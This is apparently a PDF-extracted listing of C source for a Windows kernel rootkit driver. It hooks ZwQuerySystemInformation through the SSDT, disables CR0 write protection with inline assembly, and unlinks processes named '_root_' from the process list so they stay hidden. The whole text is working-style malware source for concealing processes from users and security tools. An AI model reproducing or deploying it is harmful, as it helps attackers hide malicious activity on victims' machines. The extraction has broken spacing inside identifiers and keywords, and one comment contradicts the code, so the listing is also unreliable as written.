#define SYSCALL_INDEX( _Funct ion ) ∗(PULONG) ((PUCHAR) _Funct ion+1)
#define HOOK_SYSCALL( _Function , _Hook , _Orig ) _Orig = (PVOID)

Inter lockedExchange ( (PLONG) &MappedSystemCallTable [SYSCALL_INDEX(
_Funct ion ) ] , (LONG) _Hook)

#define UNHOOK_SYSCALL( _Function , _Hook , _Orig ) Inter lockedExchange (
(PLONG) &MappedSystemCallTable [SYSCALL_INDEX( _Funct ion ) ] , (LONG)

_Hook)

s t ruc t _SYSTEM_THREADS
{

LARGE_INTEGER KernelTime ;
LARGE_INTEGER UserTime ;
LARGE_INTEGER CreateTime ;
ULONG WaitTime ;
PVOID Star tAddres s ;
CLIENT_ID C l i e n t I s ;
KPRIORITY P r i o r i t y ;
KPRIORITY B a s e P r i o r i t y ;
ULONG ContextSwitchCount ;
ULONG ThreadState ;
KWAIT_REASON WaitReason ;

} ;

s t ruc t _SYSTEM_PROCESSES
{

ULONG NextEntryDel ta ;
ULONG ThreadCount ;
ULONG Reserved [6] ;
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LARGE_INTEGER CreateTime ;
LARGE_INTEGER UserTime ;
LARGE_INTEGER KernelTime ;
UNICODE_STRING ProcessName ;
KPRIORITY B a s e P r i o r i t y ;
ULONG Proces s Id ;
ULONG Inher i tedFromProcess Id ;
ULONG HandleCount ;
ULONG Reserved2 [2] ;
VM_COUNTERS VmCounters ;
IO_COUNTERS IoCounters ; // windows 2000 only
s t ruc t _SYSTEM_THREADS Threads [1] ;

} ;

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation (

IN ULONG SystemInformat ionClass ,
IN PVOID SystemInformation ,
IN ULONG SystemInformationLength ,
OUT PULONG ReturnLength ) ;

typedef NTSTATUS (∗ZWQUERYSYSTEMINFORMATION) (
ULONG SystemInformationCLass ,
PVOID SystemInformation ,
ULONG SystemInformationLength ,
PULONG ReturnLength

) ;

ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation ;

// ///////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation f u n c t i o n
//
// ZwQuerySystemInformation () r e t u r n s a l i n k e d l i s t o f p r o c e s s e s .
// The f u n c t i o n below i m i t a t e s i t , e x c e p t i t removes from the l i s t
// any p r o c e s s who ’ s name be g in s with " _roo t_ " .

NTSTATUS NewZwQuerySystemInformation (
IN ULONG SystemInformat ionClass ,
IN PVOID SystemInformation ,
IN ULONG SystemInformationLength ,
OUT PULONG ReturnLength )

{

NTSTATUS ntS ta tu s ;
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ntS ta tu s = ((ZWQUERYSYSTEMINFORMATION) ( OldZwQuerySystemInformation
) )

( SystemInformat ionClass ,
SystemInformation ,
SystemInformationLength ,
ReturnLength ) ;

i f ( NT_SUCCESS( n tS ta tu s ) )
{

// Asking f o r a f i l e and d i r e c t o r y l i s t i n g
i f ( SystemInformat ionClass == 5)
{

// Th i s i s a query f o r the p r o c e s s l i s t .
// Look f o r p r o c e s s names tha t s t a r t with ’ _ roo t_ ’ and f i l t e r

them out .

s t ruc t _SYSTEM_PROCESSES ∗ cur r = ( s t ruc t _SYSTEM_PROCESSES ∗)
SystemInformation ;

s t ruc t _SYSTEM_PROCESSES ∗prev = NULL;

while ( cur r )
{

i f ( curr−>ProcessName . Bu f fe r != NULL)
{

i f (0 == memcmp( curr−>ProcessName . Buf fer , L " _root_ " , 12) )
{

i f ( prev ) // Middle or La s t en t r y
{

i f ( curr−>NextEntryDel ta )
prev−>NextEntryDel ta += curr−>NextEntryDel ta ;

else // we are l a s t , so make prev the end
prev−>NextEntryDel ta = 0;

}
else
{

i f ( curr−>NextEntryDel ta )
{

// we are f i r s t in the l i s t , so move i t
forward

( char ∗) SystemInformation += curr−>
NextEntryDel ta ;

}
else // we are the only p r o c e s s !

SystemInformation = NULL;
}

}
}
prev = curr ;
i f ( curr−>NextEntryDel ta ) (( char ∗) cur r += curr−>
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NextEntryDel ta ) ;
else cur r = NULL;

}
}

}
return ntS ta tu s ;

}

VOID OnUnload( IN PDRIVER_OBJECT Dr ive rOb jec t )
{

DbgPrint ( "ROOTKIT : OnUnload c a l l e d \n " ) ;

// unp ro t e c t memory
__asm{

push eax
mov eax , CR0
and eax , 0FFFEFFFFh
mov CR0 , eax
pop eax

}

// unhook sys tem c a l l s
UNHOOK_SYSCALL( ZwQuerySystemInformation ,

OldZwQuerySystemInformation , NewZwQuerySystemInformation ) ;

// r e p r o t e c t memory
__asm{

push eax
mov eax , CR0
or eax , NOT 0FFFEFFFFh
mov CR0 , eax
pop eax

}
}

NTSTATUS Dr iverEnt ry ( IN PDRIVER_OBJECT theDr iverObjec t , IN
PUNICODE_STRING theReg i s t r yPa th )

{
in t r egva l ;

DbgPrint ( " Rootk i t loaded :>\n " ) ;
// R e g i s t e r a d i s p a t c h f u n c t i o n f o r Unload
theDr iverObjec t−>DriverUnload = OnUnload ;

// save o ld sys tem c a l l l o c a t i o n s
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) (

SYSTEMSERVICE( ZwQuerySystemInformation ) ) ;
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DbgPrint ( " Found SSDT . NtQuerySystemInformation : %x\n " , (PLONG)
&MappedSystemCallTable [SYSCALL_INDEX(

ZwQuerySystemInformation ) ]) ;
MappedSystemCallTable = (PVOID ∗) KeServ i ceDesc r ip to rTab le .

Serv iceTableBase ;

DbgPrint ( " Attempting to d i s a b l e CR0 . Wr i t ePro tec t \n " ) ;
__asm{

mov eax , CR0
mov regval , eax

}
DbgPrint ( "CR0 before : %x\n " , r egva l ) ;

// unp ro t e c t memory
__asm{

push eax
mov eax , CR0
and eax , 0FFFEFFFFh
mov CR0 , eax
pop eax

}
__asm{

mov eax , CR0
mov regval , eax

}
DbgPrint ( "CR0 a f t e r %x\n\n " , r egva l ) ;

DbgPrint ( " Wri t ing hook to %x\n " , (PLONG) &
MappedSystemCallTable [SYSCALL_INDEX(
ZwQuerySystemInformation ) ]) ;

HOOK_SYSCALL( ZwQuerySystemInformation ,
NewZwQuerySystemInformation , OldZwQuerySystemInformation ) ;

DbgPrint ( " Hook i n s t a l l e d , re tu rn ing STATUS_SUCCESS " ) ;

// r e p r o t e c t memory
__asm{

push eax
mov eax , CR0
or eax , NOT 0FFFEFFFFh
mov CR0 , eax
pop eax

}
return STATUS_SUCCESS ;

}
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